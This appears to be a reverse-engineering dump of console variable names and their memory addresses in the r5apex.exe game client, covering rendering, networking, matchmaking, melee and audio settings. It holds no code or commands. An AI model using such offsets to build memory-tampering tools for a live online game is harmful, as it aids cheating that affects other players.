locator_background_border_thickness +r5apex.exe!0x01c3f5e0 ConVar locator_background_color +r5apex.exe!0x01c3f820 ConVar locator_background_shift_x +r5apex.exe!0x01c40650 ConVar locator_background_shift_y +r5apex.exe!0x01c43f60 ConVar locator_background_style +r5apex.exe!0x01c40530 ConVar locator_background_thickness_x +r5apex.exe!0x01c39930 ConVar locator_background_thickness_y +r5apex.exe!0x01c3e0b0 ConVar locator_fade_time +r5apex.exe!0x01c4ae50 ConVar locator_icon_max_size_non_ss +r5apex.exe!0x01c447c0 ConVar locator_icon_min_size_non_ss +r5apex.exe!0x01c3e270 ConVar locator_lerp_rest +r5apex.exe!0x01c40ef0 ConVar locator_lerp_speed +r5apex.exe!0x01c42fd0 ConVar locator_lerp_time +r5apex.exe!0x01c47090 ConVar locator_pulse_time +r5apex.exe!0x01c39370 ConVar locator_split_len +r5apex.exe!0x01c41150 ConVar locator_split_maxwide_percent +r5apex.exe!0x01c46a30 ConVar locator_start_at_crosshair +r5apex.exe!0x01c44f60 ConVar locator_target_offset_x +r5apex.exe!0x01c3c460 ConVar locator_target_offset_y +r5apex.exe!0x01c49710 ConVar locator_topdown_style +r5apex.exe!0x01c45530 ConVar lookspring +r5apex.exe!0x01c49e70 ConVar lookstrafe +r5apex.exe!0x01c3fc80 ConVar m_acceleration +r5apex.exe!0x01c49d50 ConVar m_forward +r5apex.exe!0x01c3e9a0 ConVar m_invert_pitch +r5apex.exe!0x01c44120 ConVar m_side +r5apex.exe!0x01e70080 ConVar mainmenu_background_movie +r5apex.exe!0x01c49140 ConVar map_settings_override +r5apex.exe!0x01c4f0b0 ConVar mat_autoexposure_compensation +r5apex.exe!0x01882940 ConVar mat_autoexposure_force_value +r5apex.exe!0x01c53fb0 ConVar mat_autoexposure_max +r5apex.exe!0x01c51d90 ConVar mat_autoexposure_max_multiplier +r5apex.exe!0x01c55510 ConVar mat_autoexposure_min +r5apex.exe!0x01c52550 ConVar mat_autoexposure_min_multiplier +r5apex.exe!0x01c507c0 ConVar mat_autoexposure_speed +r5apex.exe!0x01c560c0 ConVar mat_autoexposure_uncap +r5apex.exe!0x01c550f0 ConVar mat_bloom_cutoff +r5apex.exe!0x01882a80 ConVar mat_bloom_max_lighting_value +r5apex.exe!0x01c4f8c0 ConVar mat_bloom_scalefactor_scalar +r5apex.exe!0x012e34a0 ConVar mat_bloom_streak_amount +r5apex.exe!0x01c530f0 ConVar mat_bloom_streak_cutoff +r5apex.exe!0x01c52730 ConVar mat_bloom_streak_cutoff_exposure_adapt +r5apex.exe!0x012e44e0 ConVar mat_bloom_streak_exponent_post +r5apex.exe!0x01c51ff0 ConVar mat_bloom_streak_exponent_pre +r5apex.exe!0x012e3fe0 ConVar mat_bloom_wide_amount +r5apex.exe!0x01c52fb0 ConVar mat_bloom_wide_exponent_pre +r5apex.exe!0x01c54cf0 ConVar mat_bloomamount_rate +r5apex.exe!0x01c565e0 ConVar mat_bloomscale +r5apex.exe!0x012e8e00 ConVar mat_checkStalls +r5apex.exe!0x012de6f0 ConVar mat_cloudmask +r5apex.exe!0x0118d890 ConVar mat_colcorrection_disableentities +r5apex.exe!0x012986a0 ConVar mat_colcorrection_disableentities +r5apex.exe!0x01c2d460 ConVar mat_colcorrection_disableentities +r5apex.exe!0x0118c1d0 ConVar mat_colcorrection_editor +r5apex.exe!0x018a2cd0 ConVar mat_colcorrection_editor +r5apex.exe!0x018a32f0 ConVar mat_colcorrection_forceentitiesclientside +r5apex.exe!0x0118c8e0 ConVar mat_colorcorrection +r5apex.exe!0x012e4580 ConVar mat_debug_postprocess_allowed +r5apex.exe!0x01c53510 ConVar mat_debug_postprocessing_effects +r5apex.exe!0x012e4300 ConVar mat_debug_tonemapping +r5apex.exe!0x012e3e00 ConVar mat_debug_tonemapping_disable +r5apex.exe!0x012e3cc0 ConVar mat_debug_tonemapping_mid1 +r5apex.exe!0x012e39a0 ConVar mat_debug_tonemapping_mid2 +r5apex.exe!0x012e3b80 ConVar mat_debug_tonemapping_shoulder +r5apex.exe!0x012e3ae0 ConVar mat_debug_tonemapping_toe +r5apex.exe!0x012e1cd0 ConVar mat_debugalttab +r5apex.exe!0x018833d0 ConVar mat_depthbias_decal +r5apex.exe!0x018835b0 ConVar mat_depthbias_normal +r5apex.exe!0x01883290 ConVar mat_depthbias_shadowmap +r5apex.exe!0x01883470 ConVar mat_depthbias_tightshadowmap +r5apex.exe!0x01882f70 ConVar mat_depthbias_ui +r5apex.exe!0x01883510 ConVar mat_depthbias_zfill +r5apex.exe!0x01882e30 ConVar mat_depthbiasclamp_decal +r5apex.exe!0x01883830 ConVar mat_depthbiasclamp_normal +r5apex.exe!0x01883010 ConVar mat_depthbiasclamp_shadowmap +r5apex.exe!0x018831f0 ConVar mat_depthbiasclamp_ui +r5apex.exe!0x01883150 ConVar mat_depthbiasclamp_zfill +r5apex.exe!0x01882ed0 ConVar mat_depthtest_force_disabled +r5apex.exe!0x012e17f0 ConVar mat_detail_tex +r5apex.exe!0x012d8870 ConVar mat_diffuse +r5apex.exe!0x01c52cd0 ConVar mat_disable_bloom +r5apex.exe!0x018828a0 ConVar mat_disable_lightmap_ambient +r5apex.exe!0x012e0a30 ConVar mat_disable_lightmaps +r5apex.exe!0x012dbe70 ConVar mat_disable_model_ambient +r5apex.exe!0x0119a440 ConVar mat_drawMenuGrid +r5apex.exe!0x0119cba0 ConVar mat_drawTitleSafe +r5apex.exe!0x012d8af0 ConVar mat_drawflat +r5apex.exe!0x012de650 ConVar mat_dxlevel +r5apex.exe!0x0118c270 ConVar mat_dynamic_tonemapping +r5apex.exe!0x012e2090 ConVar mat_dynamic_tonemapping +r5apex.exe!0x012e4760 ConVar mat_enable_ssr +r5apex.exe!0x01882b20 ConVar mat_envmap_scale +r5apex.exe!0x01e943f0 ConVar mat_envmap_scale +r5apex.exe!0x0118b290 ConVar mat_envmaptgasize +r5apex.exe!0x012e1250 ConVar mat_fastnobump +r5apex.exe!0x01196040 ConVar mat_fastspecular +r5apex.exe!0x012e16b0 ConVar mat_filterlightmaps +r5apex.exe!0x012dbcb0 ConVar mat_filtertextures +r5apex.exe!0x01c4fc10 ConVar mat_force_bloom +r5apex.exe!0x012e11b0 ConVar mat_forceaniso +r5apex.exe!0x01c503d0 ConVar mat_frame_color_bias +r5apex.exe!0x01c51930 ConVar mat_frame_color_enabled +r5apex.exe!0x01c56200 ConVar mat_frame_color_scale +r5apex.exe!0x01c50a00 ConVar mat_frame_color_spot_metering_screen_ratio +r5apex.exe!0x011946b0 ConVar mat_fullbright +r5apex.exe!0x012e4120 ConVar mat_fxaa_enable +r5apex.exe!0x012d87d0 ConVar mat_global_lighting +r5apex.exe!0x012e9100 ConVar mat_global_lighting +r5apex.exe!0x01ca41e0 ConVar mat_global_lighting +r5apex.exe!0x01193e10 ConVar mat_hdr_level +r5apex.exe!0x01298740 ConVar mat_hdrcolcorrection_editor +r5apex.exe!0x012d8690 ConVar mat_hdrcolorcorrection +r5apex.exe!0x012e9250 ConVar mat_hide_sun_in_last_cascade +r5apex.exe!0x012e91b0 ConVar mat_instancing +r5apex.exe!0x012e8d60 ConVar mat_letterbox_aspect_goal +r5apex.exe!0x012e8aa0 ConVar mat_letterbox_aspect_threshold +r5apex.exe!0x01ca4500 ConVar mat_lightcull_subview +r5apex.exe!0x01e587e0 ConVar mat_lightcull_subviews +r5apex.exe!0x012e43a0 ConVar mat_local_contrast_edge_scale_override +r5apex.exe!0x012e3720 ConVar mat_local_contrast_midtone_mask_override +r5apex.exe!0x012e35e0 ConVar mat_local_contrast_scale_override +r5apex.exe!0x012e37c0 ConVar mat_local_contrast_vignette_end_override +r5apex.exe!0x012e3860 ConVar mat_local_contrast_vignette_start_override +r5apex.exe!0x012e3060 ConVar mat_materialmip_character_0 +r5apex.exe!0x012e23b0 ConVar mat_materialmip_character_1 +r5apex.exe!0x012e2770 ConVar mat_materialmip_character_2 +r5apex.exe!0x012e2b30 ConVar mat_materialmip_character_3 +r5apex.exe!0x012e2a90 ConVar mat_materialmip_character_4 +r5apex.exe!0x012e2de0 ConVar mat_materialmip_cockpit_0 +r5apex.exe!0x012e2590 ConVar mat_materialmip_cockpit_1 +r5apex.exe!0x012e21d0 ConVar mat_materialmip_cockpit_2 +r5apex.exe!0x012e2310 ConVar mat_materialmip_cockpit_3 +r5apex.exe!0x012e2f20 ConVar mat_materialmip_cockpit_4 +r5apex.exe!0x012e2270 ConVar mat_materialmip_model_0 +r5apex.exe!0x012e28b0 ConVar mat_materialmip_model_1 +r5apex.exe!0x012e2fc0 ConVar mat_materialmip_model_2 +r5apex.exe!0x012e32c0 ConVar mat_materialmip_model_3 +r5apex.exe!0x012e29f0 ConVar mat_materialmip_model_4 +r5apex.exe!0x012e2e80 ConVar mat_materialmip_other_0 +r5apex.exe!0x012e26d0 ConVar mat_materialmip_other_1 +r5apex.exe!0x012e3360 ConVar mat_materialmip_other_2 +r5apex.exe!0x012e2450 ConVar mat_materialmip_other_3 +r5apex.exe!0x012e31a0 ConVar mat_materialmip_other_4 +r5apex.exe!0x012e2950 ConVar mat_materialmip_world_0 +r5apex.exe!0x012e2130 ConVar mat_materialmip_world_1 +r5apex.exe!0x012e24f0 ConVar mat_materialmip_world_2 +r5apex.exe!0x012e3100 ConVar mat_materialmip_world_3 +r5apex.exe!0x012e2630 ConVar mat_materialmip_world_4 +r5apex.exe!0x011913b0 ConVar mat_maxframelatency +r5apex.exe!0x012de510 ConVar mat_mip_linear +r5apex.exe!0x012de790 ConVar mat_mipmaptextures +r5apex.exe!0x0118f1c0 ConVar mat_norendering +r5apex.exe!0x012d8910 ConVar mat_norendering +r5apex.exe!0x012e0d50 ConVar mat_phong +r5apex.exe!0x012dbf10 ConVar mat_picmip +r5apex.exe!0x012e4080 ConVar mat_postprocess_enable +r5apex.exe!0x01c54170 ConVar mat_postprocess_enable +r5apex.exe!0x012e1430 ConVar mat_proxy +r5apex.exe!0x012e14d0 ConVar mat_reducefillrate +r5apex.exe!0x012e1ff0 ConVar mat_report_queue_status +r5apex.exe!0x012e08f0 ConVar mat_reversedepth +r5apex.exe!0x01c50330 ConVar mat_screen_blur_enabled +r5apex.exe!0x012e3a40 ConVar mat_screen_blur_override +r5apex.exe!0x01190f50 ConVar mat_shadowstate +r5apex.exe!0x012e3400 ConVar mat_sharpen_amount +r5apex.exe!0x012e3f40 ConVar mat_sharpen_threshold +r5apex.exe!0x012e4260 ConVar mat_sharpen_width +r5apex.exe!0x01296b90 ConVar mat_show_texture_memory_usage +r5apex.exe!0x012e4a90 ConVar mat_showenvmapmask +r5apex.exe!0x012d8730 ConVar mat_showlowresimage +r5apex.exe!0x012e0cb0 ConVar mat_showmiplevels +r5apex.exe!0x011933e0 ConVar mat_skipid +r5apex.exe!0x01195d40 ConVar mat_sky_color +r5apex.exe!0x011930c0 ConVar mat_sky_scale +r5apex.exe!0x01883790 ConVar mat_slopescaledepthbias_decal +r5apex.exe!0x018830b0 ConVar mat_slopescaledepthbias_normal +r5apex.exe!0x018836f0 ConVar mat_slopescaledepthbias_shadowmap +r5apex.exe!0x01883330 ConVar mat_slopescaledepthbias_ui +r5apex.exe!0x01883650 ConVar mat_slopescaledepthbias_zfill +r5apex.exe!0x01195bc0 ConVar mat_sun_color +r5apex.exe!0x01191b30 ConVar mat_sun_scale +r5apex.exe!0x01193820 ConVar mat_surfacefilter +r5apex.exe!0x01192b20 ConVar mat_surfaceid +r5apex.exe!0x01196180 ConVar mat_surfacemat +r5apex.exe!0x012e8fc0 ConVar mat_syncGPU +r5apex.exe!0x012e8f20 ConVar mat_syncInterval +r5apex.exe!0x012e0f30 ConVar mat_sync_rt +r5apex.exe!0x012e4940 ConVar mat_sync_rt_flushes_gpu +r5apex.exe!0x01296a50 ConVar mat_texture_list +r5apex.exe!0x01296af0 ConVar mat_texture_list_view +r5apex.exe!0x012e49e0 ConVar mat_translucency_errors +r5apex.exe!0x012e4440 ConVar mat_vignette_enable +r5apex.exe!0x012e2810 ConVar mat_warn_texture_convert +r5apex.exe!0x01190580 ConVar match_backingOutMaxTimeToWait +r5apex.exe!0x011958a0 ConVar match_backoutslow +r5apex.exe!0x0118fa00 ConVar match_connect +r5apex.exe!0x011918d0 ConVar match_defaultMap_party +r5apex.exe!0x011963e0 ConVar match_dir +r5apex.exe!0x011921b0 ConVar match_dumpSearchResults +r5apex.exe!0x0118f440 ConVar match_emptyUpdateRate +r5apex.exe!0x01197030 ConVar match_enabled +r5apex.exe!0x01191790 ConVar match_fakePort +r5apex.exe!0x0118f580 ConVar match_fakeS2SPort +r5apex.exe!0x01198290 ConVar match_forceVerboseSearches +r5apex.exe!0x01193b20 ConVar match_goodReputation +r5apex.exe!0x011944d0 ConVar match_maxPingsSent +r5apex.exe!0x011962c0 ConVar match_myBestDatacenter +r5apex.exe!0x01196220 ConVar match_myDatacenter +r5apex.exe!0x011965a0 ConVar match_myRankedDatacenter +r5apex.exe!0x01190010 ConVar match_myTeam +r5apex.exe!0x01195620 ConVar match_partyChangeNum +r5apex.exe!0x0118fe60 ConVar match_partySize +r5apex.exe!0x0118f6c0 ConVar match_partySub +r5apex.exe!0x0118ee20 ConVar match_pingWaveInterval +r5apex.exe!0x01196ef0 ConVar match_playlist +r5apex.exe!0x01190a40 ConVar match_precachemap +r5apex.exe!0x01191d10 ConVar match_privateMatchListWithStryder +r5apex.exe!0x011929e0 ConVar match_rankedMaxPing +r5apex.exe!0x01190620 ConVar match_rankedSwitchETA +r5apex.exe!0x01196a40 ConVar match_resetPlaylistBetweenMatches +r5apex.exe!0x011959e0 ConVar match_roleToken +r5apex.exe!0x01192c60 ConVar match_searchInterval +r5apex.exe!0x01197490 ConVar match_searching +r5apex.exe!0x01194750 ConVar match_teamNoFill +r5apex.exe!0x01195580 ConVar match_updateNotableRate +r5apex.exe!0x011956c0 ConVar match_updateRate +r5apex.exe!0x01193eb0 ConVar match_useMatchmaking +r5apex.exe!0x011969a0 ConVar match_verbosePrintsInterval +r5apex.exe!0x01192070 ConVar match_visiblePlaylists +r5apex.exe!0x011936e0 ConVar matchmaking_hostname +r5apex.exe!0x01c984f0 ConVar max_explosive_damage_mass +r5apex.exe!0x01c9c800 ConVar max_explosive_damage_velocity +r5apex.exe!0x01895f90 ConVar max_tweak_shadow_updates +r5apex.exe!0x01e769c0 ConVar melee_aim_assist_can_lock_pitch +r5apex.exe!0x01e7b720 ConVar melee_aim_assist_use_target_velocity +r5apex.exe!0x01e74cd0 ConVar melee_attack_trace_can_use_lunge_distance +r5apex.exe!0x01e76670 ConVar melee_cone_trace_box_check +r5apex.exe!0x01c8a5b0 ConVar melee_lunge_abort_distance +r5apex.exe!0x01c5ac30 ConVar melee_lunge_abort_if_blocked +r5apex.exe!0x01e7a780 ConVar melee_lunge_adjust_trace_distance +r5apex.exe!0x01e7a880 ConVar melee_lunge_align_eye_position +r5apex.exe!0x01e76920 ConVar melee_lunge_dot_check +r5apex.exe!0x01c8f290 ConVar melee_lunge_force_enable_flying +r5apex.exe!0x01c91600 ConVar melee_lunge_lag_compensate_target +r5apex.exe!0x01e7e830 ConVar melee_lunge_scale_by_speed +r5apex.exe!0x01c5c940 ConVar melee_lunge_slide +r5apex.exe!0x01c576d0 ConVar melee_lunge_use_closest_distance_between_cylinders +r5apex.exe!0x01e7c360 ConVar melee_lunge_use_command_time +r5apex.exe!0x01ca0740 ConVar melee_queue_attack_anim_event +r5apex.exe!0x012cd6d0 ConVar mem_dumpstats +r5apex.exe!0x0118a850 ConVar mem_force_flush +r5apex.exe!0x0118a7b0 ConVar mem_force_flush_section +r5apex.exe!0x012cbd10 ConVar mem_incremental_compact_rate +r5apex.exe!0x012de210 ConVar mem_level +r5apex.exe!0x0189f990 ConVar mem_level +r5apex.exe!0x0119b8e0 ConVar mem_max_heapsize +r5apex.exe!0x01199f00 ConVar mem_max_heapsize_dedicated +r5apex.exe!0x011996f0 ConVar mem_min_heapsize +r5apex.exe!0x01886430 ConVar mem_runheapchecks +r5apex.exe!0x012cc650 ConVar mem_test_each_frame +r5apex.exe!0x012cc9f0 ConVar mem_test_every_n_seconds +r5apex.exe!0x012cbc70 ConVar mem_test_quiet +r5apex.exe!0x01e5d5a0 ConVar menu_faq_community_version +r5apex.exe!0x01e5cf40 ConVar menu_faq_patchnotes_version +r5apex.exe!0x01e5c450 ConVar menu_faq_viewed +r5apex.exe!0x01e5d2a0 ConVar menu_was_multiplayer_played_last +r5apex.exe!0x012cea20 ConVar migrate_attempt_interval +r5apex.exe!0x012ce840 ConVar migrate_attempt_max_retries +r5apex.exe!0x01e72ef0 ConVar miles_actor_occlusion_radius +r5apex.exe!0x01e739c0 ConVar miles_channels +r5apex.exe!0x018a3610 ConVar miles_flip_active_window_logic +r5apex.exe!0x01e71600 ConVar miles_force_emitter_environment +r5apex.exe!0x01e72db0 ConVar miles_force_listener_environment +r5apex.exe!0x01e74790 ConVar miles_freeze +r5apex.exe!0x01e73e20 ConVar miles_initial_occlusion_delay +r5apex.exe!0x01e73770 ConVar miles_language +r5apex.exe!0x01e717e0 ConVar miles_listener_freeze +r5apex.exe!0x01e73030 ConVar miles_nonactor_occlusion +r5apex.exe!0x01e74040 ConVar miles_nonactor_occlusion_radius +r5apex.exe!0x01e731a0 ConVar miles_nopandist +r5apex.exe!0x01e73ec0 ConVar miles_occlusion +r5apex.exe!0x01e734f0 ConVar miles_occlusion_force +r5apex.exe!0x01e71c80 ConVar miles_occlusion_partial +r5apex.exe!0x01e729f0 ConVar miles_occlusion_use_reset_after_deferred_initial +r5apex.exe!0x01e74650 ConVar miles_samplerate +r5apex.exe!0x0119eac0 ConVar miles_server_sounds_debug +r5apex.exe!0x0119eb60 ConVar miles_server_sounds_print +r5apex.exe!0x01e71740 ConVar miles_solo_ents +r5apex.exe!0x01c3ba50 ConVar miles_soundscape_imgui +r5apex.exe!0x01e72750 ConVar miles_spatialize_front_degrees +r5apex.exe!0x01e741b0 ConVar miles_spatialize_offplane_strength +r5apex.exe!0x01e72950 ConVar miles_spatialize_on +r5apex.exe!0x01e732e0 ConVar miles_spatialize_rear_degrees +r5apex.exe!0x01e743c0 ConVar miles_suffixes +r5apex.exe!0x01c99a70 ConVar min_explosive_damage_mass +r5apex.exe!0x01e7b7c0 ConVar missile_default_speed +r5apex.exe!0x01e7b060 ConVar missile_homing_speed +r5apex.exe!0x01e896d0 ConVar mod_trace_load +r5apex.exe!0x0119d1c0 ConVar model_defaultFadeDistMin +r5apex.exe!0x01c37ed0 ConVar model_defaultFadeDistMin +r5apex.exe!0x0119a140 ConVar model_defaultFadeDistScale +r5apex.exe!0x018a0710 ConVar model_defaultFadeDistScale +r5apex.exe!0x01c38b30 ConVar model_fadeRangeFraction +r5apex.exe!0x01c38bd0 ConVar model_fadeRangeFractionNear +r5apex.exe!0x01ca4460 ConVar monitor_cc +r5apex.exe!0x012e3540 ConVar monitor_mat_sharpen_amount +r5apex.exe!0x01ca49e0 ConVar monitor_postfx +r5apex.exe!0x01e58e20 ConVar monitor_rui_world_enabled +r5apex.exe!0x01895cb0 ConVar monitor_snapshot_frame_delay +r5apex.exe!0x0189d5e0 ConVar monitor_zfar_default +r5apex.exe!0x01e58c40 ConVar monitor_zfar_override +r5apex.exe!0x01ca4140 ConVar monitor_zfar_override_enabled +r5apex.exe!0x01192e40 ConVar motd +r5apex.exe!0x01c49830 ConVar mouse_sensitivity +r5apex.exe!0x01c3e360 ConVar mouse_use_per_scope_sensitivity_scalars +r5apex.exe!0x01c3e400 ConVar mouse_zoomed_sensitivity_scalar_0 +r5apex.exe!0x01c3e4a0 ConVar mouse_zoomed_sensitivity_scalar_1 +r5apex.exe!0x01c3e540 ConVar mouse_zoomed_sensitivity_scalar_2 +r5apex.exe!0x01c3e5e0 ConVar mouse_zoomed_sensitivity_scalar_3 +r5apex.exe!0x01c3e680 ConVar mouse_zoomed_sensitivity_scalar_4 +r5apex.exe!0x01c3e720 ConVar mouse_zoomed_sensitivity_scalar_5 +r5apex.exe!0x01c3e7c0 ConVar mouse_zoomed_sensitivity_scalar_6 +r5apex.exe!0x01c3e860 ConVar mouse_zoomed_sensitivity_scalar_7 +r5apex.exe!0x012cda10 ConVar move_one_cmd_per_client_frame +r5apex.exe!0x01e6ee20 ConVar movement_anim_downed_playback_maxrate +r5apex.exe!0x01e6e5c0 ConVar movement_anim_playback_maxrate +r5apex.exe!0x01e6e480 ConVar movement_anim_playback_minrate +r5apex.exe!0x01e6e980 ConVar movement_anim_sprint_playback_maxrate +r5apex.exe!0x01197210 ConVar mp_accountLink_requestInterval +r5apex.exe!0x0118fce0 ConVar mp_allowed +r5apex.exe!0x01e6eac0 ConVar mp_bodyyawrate +r5apex.exe!0x01297a60 ConVar mp_countRRNobodyAsLobby +r5apex.exe!0x01c8c8b0 ConVar mp_enablematchending +r5apex.exe!0x01c5a910 ConVar mp_enabletimelimit +r5apex.exe!0x01c936a0 ConVar mp_gamemode +r5apex.exe!0x012d10e0 ConVar mp_linkingAccountTime +r5apex.exe!0x012d1040 ConVar mp_linkingAccountWindow +r5apex.exe!0x01e6e700 ConVar mp_maxbodyyaw +r5apex.exe!0x01197f70 ConVar mp_permission_requestInterval +r5apex.exe!0x01196820 ConVar mp_permission_rerequestInterval +r5apex.exe!0x01c5c700 ConVar mp_player_level +r5apex.exe!0x01e6e8e0 ConVar mp_scaleAnimationSpeeds +r5apex.exe!0x01e6ea20 ConVar mp_showgestureslots +r5apex.exe!0x0119eca0 ConVar mtx_svEdition +r5apex.exe!0x01e7e730 ConVar muteWeaponSounds +r5apex.exe!0x01298380 ConVar name +r5apex.exe!0x018a41b0 ConVar net_RunInvalidatePhysics +r5apex.exe!0x01194de0 ConVar net_async_sendto +r5apex.exe!0x01193780 ConVar net_autoUnthrottle +r5apex.exe!0x01198df0 ConVar net_bandwidthPrintThreshold +r5apex.exe!0x01197bb0 ConVar net_bindToSpecificAddress +r5apex.exe!0x0118f880 ConVar net_blockmsg +r5apex.exe!0x012d2380 ConVar net_chatThroughChatserver +r5apex.exe!0x011986f0 ConVar net_chokeloop +r5apex.exe!0x01193640 ConVar net_clearReliableDataOnReset +r5apex.exe!0x01e7deb0 ConVar net_client_side_weapon_animations +r5apex.exe!0x01198c30 ConVar net_compressDataBlock +r5apex.exe!0x01194e80 ConVar net_compressLZValue +r5apex.exe!0x01192d00 ConVar net_compresspackets +r5apex.exe!0x01190b80 ConVar net_compresspackets_minsize +r5apex.exe!0x01297520 ConVar net_connectPacketWarningThreshhold +r5apex.exe!0x0129ac20 ConVar net_connectingDataRate +r5apex.exe!0x0118d510 ConVar net_createUndoDeltas +r5apex.exe!0x0129cc40 ConVar net_data_block_enabled +r5apex.exe!0x01196db0 ConVar net_datablockPrintSummaries +r5apex.exe!0x01299300 ConVar net_datablock_fastRate +r5apex.exe!0x01192f80 ConVar net_datablock_longSendTime +r5apex.exe!0x01197930 ConVar net_datablock_minResendInterval +r5apex.exe!0x0129af20 ConVar net_datablock_networkLossForSlowSpeed +r5apex.exe!0x012997e0 ConVar net_datablock_resendRateForSlowSpeed +r5apex.exe!0x0129bf20 ConVar net_datablock_slowRate +r5apex.exe!0x0118f300 ConVar net_debugDataBlockReceiver +r5apex.exe!0x01196f90 ConVar net_debugDataBlockSender +r5apex.exe!0x0119f400 ConVar net_debugLerping +r5apex.exe!0x01298060 ConVar net_deltaFieldEntityBlockSize +r5apex.exe!0x01296e40 ConVar net_disconnectIfDeltaBufferIsFull +r5apex.exe!0x0118eec0 ConVar net_drawslider +r5apex.exe!0x01195320 ConVar net_droppackets +r5apex.exe!0x0118d930 ConVar net_dumpChangesPrecise +r5apex.exe!0x01190ff0 ConVar net_encrypt_copyCtx +r5apex.exe!0x01193160 ConVar net_encryptionDebug +r5apex.exe!0x01296d00 ConVar net_forceDeltaBufferToOverflow +r5apex.exe!0x0118c720 ConVar net_forceUnnecessaryUndoDeltas +r5apex.exe!0x01196c70 ConVar net_forcetimeout +r5apex.exe!0x01198a10 ConVar net_fullyConnectedDataRate +r5apex.exe!0x01260e30 ConVar net_highPacketLatencyThreshold +r5apex.exe!0x0125fdf0 ConVar net_highPacketLossThreshold +r5apex.exe!0x0125f9b0 ConVar net_ignoreAllSnapshots +r5apex.exe!0x01297340 ConVar net_largeSnapshotThreshold +r5apex.exe!0x0119f5e0 ConVar net_lerpFields +r5apex.exe!0x0129aae0 ConVar net_lowBandwidthConnect +r5apex.exe!0x0118f3a0 ConVar net_maxAccumulatedClearTimeBalance +r5apex.exe!0x011900b0 ConVar net_maxcleartime +r5apex.exe!0x01190e10 ConVar net_maxfilesize +r5apex.exe!0x01190150 ConVar net_maxfragments +r5apex.exe!0x0118f620 ConVar net_maxroutable +r5apex.exe!0x0118faa0 ConVar net_minConnectionTimeForSpam +r5apex.exe!0x01196500 ConVar net_minQueuedPacketsForPrint +r5apex.exe!0x01e5dc60 ConVar net_minResetIdleTimerInterval +r5apex.exe!0x01190330 ConVar net_minimumPacketLossDC +r5apex.exe!0x011901f0 ConVar net_minroutable +r5apex.exe!0x012608a0 ConVar net_netGraph2 +r5apex.exe!0x012981a0 ConVar net_noPostDataForDeletedEnts +r5apex.exe!0x01c98450 ConVar net_old_seed_generation +r5apex.exe!0x0129a720 ConVar net_optimize_persistent_data +r5apex.exe!0x0129c9c0 ConVar net_optimize_playlists +r5apex.exe!0x01e81620 ConVar net_optimize_weapons +r5apex.exe!0x01e85260 ConVar net_predictParentEntities +r5apex.exe!0x01297880 ConVar net_predictedEntsUseFirstAvailableSnapshot +r5apex.exe!0x012972a0 ConVar net_predictionDebug +r5apex.exe!0x0119f720 ConVar net_pretendSnapshotArrayFull +r5apex.exe!0x01191bd0 ConVar net_printCompression +r5apex.exe!0x012979c0 ConVar net_printOutOfSnapshots +r5apex.exe!0x0118c450 ConVar net_printUnnecessaryDeltas +r5apex.exe!0x0118e530 ConVar net_propSkipPrintThreshold +r5apex.exe!0x01191970 ConVar net_queue_trace +r5apex.exe!0x0118eaf0 ConVar net_queuedPackets_PrintOversleeps +r5apex.exe!0x01193520 ConVar net_queuedPackets_SkipSmallSleeps +r5apex.exe!0x01191f30 ConVar net_queued_packet_sender_nopacket_sleep +r5apex.exe!0x01191130 ConVar net_queued_packet_thread +r5apex.exe!0x011926c0 ConVar net_recentNetworkGapWindow +r5apex.exe!0x01194110 ConVar net_recentNetworkGapsNeeded +r5apex.exe!0x01297020 ConVar net_recreateScriptInstanceOnReplayTransition +r5apex.exe!0x0119f860 ConVar net_recv_dumpChanges +r5apex.exe!0x0118cdd0 ConVar net_recv_dumpNetworkedChangesOnEntCreate +r5apex.exe!0x0118d190 ConVar net_recv_watchEnt +r5apex.exe!0x0118c7c0 ConVar net_recv_watchField1 +r5apex.exe!0x0118de30 ConVar net_recv_watchField2 +r5apex.exe!0x01195940 ConVar net_resourcePrintMinimum +r5apex.exe!0x0118c050 ConVar net_sendFloatDeltas +r5apex.exe!0x0129bc00 ConVar net_sendProfileTotals +r5apex.exe!0x01194fc0 ConVar net_sendtoInJob +r5apex.exe!0x01198330 ConVar net_showFailedAuth +r5apex.exe!0x012975c0 ConVar net_showLargeSnapshot +r5apex.exe!0x01192110 ConVar net_showQueued +r5apex.exe!0x0119f360 ConVar net_showServerStruggle +r5apex.exe!0x0118b6b0 ConVar net_showUndoDeltas +r5apex.exe!0x01260230 ConVar net_showUserWarnings +r5apex.exe!0x011985b0 ConVar net_showchoke +r5apex.exe!0x0118f260 ConVar net_showchokeInterval +r5apex.exe!0x01192bc0 ConVar net_showdrop +r5apex.exe!0x0118f4e0 ConVar net_showfragments +r5apex.exe!0x011941b0 ConVar net_showmsg +r5apex.exe!0x01191270 ConVar net_showpeaks +r5apex.exe!0x01192580 ConVar net_showsendrecv +r5apex.exe!0x01191310 ConVar net_showsplits +r5apex.exe!0x01192a80 ConVar net_showudp +r5apex.exe!0x0118ef60 ConVar net_showudp_oob +r5apex.exe!0x01198d50 ConVar net_showudp_remoteonly +r5apex.exe!0x01c9c5d0 ConVar net_showusercmd +r5apex.exe!0x0118ad80 ConVar net_skipUnnecessaryDeltas +r5apex.exe!0x01195e80 ConVar net_splitrate +r5apex.exe!0x01194d40 ConVar net_splitrateDefaultMP +r5apex.exe!0x01191fd0 ConVar net_splitrateDefaultSP +r5apex.exe!0x0118eca0 ConVar net_tamperPackets +r5apex.exe!0x01297160 ConVar net_threadedEntityDeltas +r5apex.exe!0x01298240 ConVar net_threadedProcessPacket +r5apex.exe!0x0118ff00 ConVar net_timeoutUsesLastReadTime +r5apex.exe!0x01195460 ConVar net_trackerWarningInterval +r5apex.exe!0x011979d0 ConVar net_usesocketsforloopback +r5apex.exe!0x01196640 ConVar net_verifyEncryption +r5apex.exe!0x012d2260 ConVar net_voiceEchoFromChatServer +r5apex.exe!0x0118fc40 ConVar net_warnAboutSocketReadGaps +r5apex.exe!0x01196d10 ConVar net_warnGapTime +r5apex.exe!0x01197c50 ConVar net_wifi +r5apex.exe!0x01296f80 ConVar net_worldHitchSlopTime +r5apex.exe!0x012cca90 ConVar next +r5apex.exe!0x01ca0e80 ConVar noReloadAfterUse +r5apex.exe!0x012e41c0 ConVar noise_filter_scale +r5apex.exe!0x0119a040 ConVar not_focus_sleep +r5apex.exe!0x012ca160 ConVar notification_displayTime +r5apex.exe!0x0119b0a0 ConVar nucleus_id +r5apex.exe!0x0119a620 ConVar nucleus_pid +r5apex.exe!0x01c4f1f0 ConVar number_shortenToMillionsAfter +r5apex.exe!0x01e7a640 ConVar object_placement_debug +r5apex.exe!0x01e82100 ConVar offhandTossOverheadPitchThreshold +r5apex.exe!0x01c5a730 ConVar offhand_alignEndAnim1p3p +r5apex.exe!0x0119c6a0 ConVar old_culling 